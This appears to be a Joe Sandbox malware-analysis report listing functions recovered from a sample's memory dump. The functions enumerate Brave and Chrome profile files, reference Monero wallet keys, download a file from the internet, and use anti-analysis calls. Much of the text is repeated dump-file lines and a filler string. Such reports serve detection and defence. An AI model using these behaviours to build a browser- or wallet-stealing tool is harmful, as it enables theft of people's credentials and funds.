Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: #c$0"c$0%c$0[b$@$c$H%c$NtQueryInformationProcess$P^b$X$c$`%c$h#c$p$c$p\b$x"c$x%c
API String ID: 2238633743-10707943
Opcode ID: 9939e1fd8bed6b0dd82f90e9f7c7ded6904cbb069f1c61cb1b88c025ec1bb5a9
Instruction ID: b846e011100755d4d41c34b80eb2d3d5a594068faf63b1e72c21dce8572f6b8e
Opcode Fuzzy Hash: 9939e1fd8bed6b0dd82f90e9f7c7ded6904cbb069f1c61cb1b88c025ec1bb5a9
Instruction Fuzzy Hash: 8DA12AB5602341AFD744EFACED88A663BF9F74C301704C51BAA09C3364D639A941EB76

Function 00B945C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00B9460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00B9479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B94729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B9474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B945D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B946AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B94734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B946C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B9462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B946B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B94683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B94638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B94662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B9477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B9466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B94622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B9471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B945C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B94765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B946D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B94770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B94643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B94657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B94617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B945E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B9473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B945F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B94678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B946CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B94713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B9475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B945DD

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 440e9a72c3f0be72113dd11b21d12743c2d9c8ec0e87226ca7a0c6fc99026bc5
Instruction ID: cdacb7fabb0039186bde0e7da2a057743951c18ed67443badc696436692ae5f9
Opcode Fuzzy Hash: 440e9a72c3f0be72113dd11b21d12743c2d9c8ec0e87226ca7a0c6fc99026bc5
Instruction Fuzzy Hash: 6841D5A07C5604FBE636BBB9B8C2FFD7696DF4E748B9094A4E80A532D1CBE065004537

Function 00BA4910 Relevance: 38.7, APIs: 18, Strings: 4, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00BA492C
FindFirstFileA.KERNEL32(?,?), ref: 00BA4943
StrCmpCA.SHLWAPI(?,00BB0FDC), ref: 00BA4971
StrCmpCA.SHLWAPI(?,00BB0FE0), ref: 00BA4987
FindNextFileA.KERNEL32(000000FF,?), ref: 00BA4B7D
FindClose.KERNEL32(000000FF), ref: 00BA4B92

Strings

8c, xrefs: 00BA4A3D
%s\%s, xrefs: 00BA49FB
%s\%s, xrefs: 00BA49A4
%s\*, xrefs: 00BA4920

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*$8c
API String ID: 180737720-627748345
Opcode ID: 87103da0c011c678e4f8e51f0274b2b7d778734d479f053cda6fc3ce55bc0a8c
Instruction ID: a014b1c459fd4c60d240d9375e8cf9a672acb5af836da0e88eb6ba3d67de6412
Opcode Fuzzy Hash: 87103da0c011c678e4f8e51f0274b2b7d778734d479f053cda6fc3ce55bc0a8c
Instruction Fuzzy Hash: 0B6165B1910218ABCB20EBA4DC45EFB73BCFB89700F0485D9B50996151EB75EB85CFA1

Function 00B9BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BAA740: lstrcpy.KERNEL32(00BB0E17,00000000), ref: 00BAA788

Part of subcall function 00BAA920: lstrcpy.KERNEL32(00000000,?), ref: 00BAA972
Part of subcall function 00BAA920: lstrcat.KERNEL32(00000000), ref: 00BAA982

Part of subcall function 00BAA9B0: lstrlen.KERNEL32(?,00639178,?,\Monero\wallet.keys,00BB0E17), ref: 00BAA9C5
Part of subcall function 00BAA9B0: lstrcpy.KERNEL32(00000000), ref: 00BAAA04
Part of subcall function 00BAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BAAA12

Part of subcall function 00BAA8A0: lstrcpy.KERNEL32(?,00BB0E17), ref: 00BAA905

FindFirstFileA.KERNEL32(00000000,?,00BB0B32,00BB0B2B,00000000,?,?,?,00BB13F4,00BB0B2A), ref: 00B9BEF5
StrCmpCA.SHLWAPI(?,00BB13F8), ref: 00B9BF4D
StrCmpCA.SHLWAPI(?,00BB13FC), ref: 00B9BF63
FindNextFileA.KERNELBASE(000000FF,?), ref: 00B9C7BF
FindClose.KERNEL32(000000FF), ref: 00B9C7D1

Strings

Preferences, xrefs: 00B9C11E
Google Chrome, xrefs: 00B9C634
Brave, xrefs: 00B9C102
\Brave\Preferences, xrefs: 00B9C1DB

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 9f15f9a05957b503804f3fa0f0613c33f3145c475b7d64740908b4afc4c5b869
Instruction ID: be012e72373bf9e210ae728963c2df43f3503d3ca147031013b63321ea8b6703
Opcode Fuzzy Hash: 9f15f9a05957b503804f3fa0f0613c33f3145c475b7d64740908b4afc4c5b869
Instruction Fuzzy Hash: 4C426372904104ABCF54FB64DD96EEE73BCAB55300F4085E8B50AA6191EF349F49CBB2

Function 00BA3EA0 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00BA3EC3
FindFirstFileA.KERNEL32(?,?), ref: 00BA3EDA
StrCmpCA.SHLWAPI(?,00BB0FAC), ref: 00BA3F08
StrCmpCA.SHLWAPI(?,00BB0FB0), ref: 00BA3F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 00BA406C
FindClose.KERNEL32(000000FF), ref: 00BA4081

Strings

8c, xrefs: 00BA3F4F
%s\%s, xrefs: 00BA3EB7

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$8c
API String ID: 180737720-2984248375
Opcode ID: 01a0b7f25c893019a79cd62487e1cb707e7960e566543b9bac52360f87e2af43
Instruction ID: e49f155fa994d7eb6ac32aceef841f08308b92c2b34e608dabe74a5662eb8f23
Opcode Fuzzy Hash: 01a0b7f25c893019a79cd62487e1cb707e7960e566543b9bac52360f87e2af43
Instruction Fuzzy Hash: 7A5175B2904218ABCB24EBB4DC85EFE73BCBB44300F0085D9B61992150DB759B89DFA1

Function 00B960A0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BAA7E6

Part of subcall function 00B947B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00B94839
Part of subcall function 00B947B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00B94849

InternetOpenA.WININET(00BB0DF7,00000001,00000000,00000000,00000000), ref: 00B9610F
StrCmpCA.SHLWAPI(?,0063E828), ref: 00B96147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00B9618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00B961B3
InternetReadFile.WININET(?,?,00000400,?), ref: 00B961DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00B9620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00B96249
InternetCloseHandle.WININET(?), ref: 00B96253
InternetCloseHandle.WININET(00000000), ref: 00B96260

Strings

(c, xrefs: 00B96139

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
